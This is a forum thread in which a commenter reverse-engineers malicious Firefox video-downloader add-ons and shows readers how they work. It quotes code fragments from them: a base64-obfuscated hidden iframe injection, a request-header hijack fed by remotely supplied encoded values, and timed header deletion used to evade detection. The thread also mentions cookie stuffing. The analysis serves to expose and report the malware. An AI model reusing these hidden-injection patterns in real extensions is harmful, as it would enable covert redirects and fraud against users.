×
you are viewing a single comment's thread.

view the rest of the comments →

[–]juraj_m www.FastAddons.com 20 points21 points  (11 children)

It's 100% malicious!

I've downloaded a "fvd_video_downloader_free-1.32.xpi" file from the WaybackMachine and checked the source code.

I have to say, this was pretty nicely hidden. Usually malicious addons will use eval or executeScript to execute remote code. But not here, everything looks pretty fine. Even the content_security_policy is unchanged.

But then I found this: javascript function createMessage(container, event, instance) { // create container for message return document.createElement(container); } This is odd..., why wrap createElement with createMessage function and add 2 more parameters that are not used?
Then it's called: javascript createMessage(atob('aWZyYW1l')) Now this is already a reason to remove the addon from the store because this is "obfuscated code".
You see, the atob is a function that decodes a string of data which has been encoded using Base64 encoding, and atob('aWZyYW1l') translates to string "iframe".

So now we know the addon creates secret iframe that they don't want you to see. But what is loaded inside? Well, that's hard to tell... why? Because the function that creates the URL is 40 lines long and it's full of byte shift operations! Again, code obfuscation, example: _getbyte64( s, i ) << 18.

This is already pretty bad, but many pages won't allow you to load 3rd party iframe in them anyway. And how can a malicious page loaded inside iframe redirect you anywhere??? Something is missing...

Let's look inside the background script where we can see a strange code that's suppose to be used for debugging: javascript browser.webRequest.onBeforeSendHeaders.addListener(debug, { urls: ["<all_urls>"], types: ["main_frame", "sub_frame"] }, ["blocking", "requestHeaders"]); But why debug onBeforeSendHeaders? And it also monitors iframes, that's handy :).

Let's see what is inside: javascript function debug(e) { var url = new URL(e.url); if(e.url.indexOf('&debugger=1') > -1) { debugging = 1; var debug = getParam('debugger',url).split('|'); if(!ua && debug[1] && debug[1].length) ua = atob(debug[1]); So from the requested URL we take some part and decode it using atob again and save to ua: ua = atob(debug[1]);.
The ua is a global variable, so whatever is stored there, will stay there when this code runs when you visit any page.
So few lines below, it's gonna use this ua value and replace send headers with it - most probably some kind of redirect header (this is not my area of expertise): javascript if(ua && ua.length) { header.value = ua; }

To summarize - even though this addon was not updated in many years, it can receive malicious commands ANYTIME from his server encoded as Base64 and become malicious.

Stay away from it and stay safe :)

PS:
If you like my analysis, please buy me a coffee :). Thank you!

[–]juraj_m www.FastAddons.com 4 points5 points  (8 children)

Further note - I've checked also the "Ummy Video Downloader" which has the very same source code including the secret iframe injection: createMessage(atob('aWZyYW1l')). However it doesn't have the headers replacement in the background script. So it may be safe, but it's still a candidate for removal since it has a bunch of obfuscated code which creates and loads unknown 3rd party iframe.

Regarding the "Video Downloader Professional" also known as "Video Downloader Ummy" and originally named "FLV Video Downloader" (OMG!), this one is 99% malicious as well.
I don't have time for full analysis but from what I can see, it will use a clever random loop to affect only some requests, so it's harder to detect. Also it deletes the headers in 3 seconds to further avoid detection: js var mKey, limit = 100; while (limit-- > 0) { mKey = prefix + parseInt(Math.random() * 100000) + '_' + key; if (!waitHeaders[mKey]) { break; } } waitHeaders[mKey] = { name: key, value: value, timer: setTimeout(function () { delete waitHeaders[mKey]; }, 3 * 1000) }; I have to say, this is pretty fun! I envy those that can do this for a living :)

[–]nicolaasjan1955 on 2 points3 points  (0 children)

Thanks!
I reported it for abuse.

[–]yolofreeway on and [S] 1 point2 points  (3 children)

How are these malicious extensions monetized? What do the creators of this extensions gain from the users?

[–]juraj_m www.FastAddons.com 2 points3 points  (2 children)

If they can redirect you to any webpage, then that opens several monetization options.

Very popular is the "Cookie stuffing" (it's an illegal technique of placing affiliate cookies/tokens into users browser without his knowledge).

But loading pages full of ads will make money too!

[–]yolofreeway on and [S] 1 point2 points  (1 child)

if the extension also had permission to "access data on all sites" then it could have collected all the information the user entered in any website, including passwords and bank information.

Is this correct?

[–]juraj_m www.FastAddons.com 1 point2 points  (0 children)

That's correct. But it's more rare. If you steal money from someones account, it's a serious crime and people will investigate.

While if you just stuff affiliate cookies or show ads, most people won't notice. It's still a crime, just with much better odds of not being caught. And even when the addon is caught, there is still no investigation and you can just upload a new one with a new name... I hope I'm not giving someone some ideas :D

[–]fsau 1 point2 points  (1 child)

These extensions have been handled. If you find any other malicious extensions, please request a block.

[–]juraj_m www.FastAddons.com 0 points1 point  (0 children)

Good to know!
Thank you :)

[–]yolofreeway on and [S] 1 point2 points  (1 child)

Have you thought about working for Mozilla?

[–]juraj_m www.FastAddons.com 0 points1 point  (0 children)

I did, but I live in Slovakia and I don't think they ever hired anyone from here. And fully remote jobs are always the "last resort" so I'm sure they can fill all positions locally.

Also, it pains me to say it but I don't think "addons" are the core feature they focus on right now. Sadly, many people doesn't use any addons or doesn't even know what that is.